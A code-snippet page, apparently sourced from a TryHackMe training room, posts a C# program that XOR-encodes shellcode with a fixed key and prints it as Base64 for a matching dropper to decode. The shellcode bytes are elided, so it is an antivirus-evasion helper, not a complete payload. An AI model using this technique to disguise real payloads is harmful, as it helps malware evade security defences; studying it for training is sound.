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Encryptor.cs

Herson Almeida answered on November 7, 2022 Popularity 1/10 Helpfulness 1/10

answer Encryptor.cs

Encryptor.cs

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using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;

namespace Encrypter
{
    internal class Program
    {
        private static byte[] xor(byte[] shell, byte[] KeyBytes)
        {
            for (int i = 0; i < shell.Length; i++)
            {
                shell[i] ^= KeyBytes[i % KeyBytes.Length];
            }
            return shell;
        }
        static void Main(string[] args)
        {
            //XOR Key - It has to be the same in the Droppr for Decrypting
            string key = "THMK3y123!";

            //Convert Key into bytes
            byte[] keyBytes = Encoding.ASCII.GetBytes(key);

            //Original Shellcode here (csharp format)
            byte[] buf = new byte[460] { 0xfc,0x48,0x83,..,0xda,0xff,0xd5 };

            //XORing byte by byte and saving into a new array of bytes
            byte[] encoded = xor(buf, keyBytes);
            Console.WriteLine(Convert.ToBase64String(encoded));        
        }
    }
}

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Source: tryhackme.com

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Contributed on Nov 07 2022

Herson Almeida

0 Answers Avg Quality 2/10

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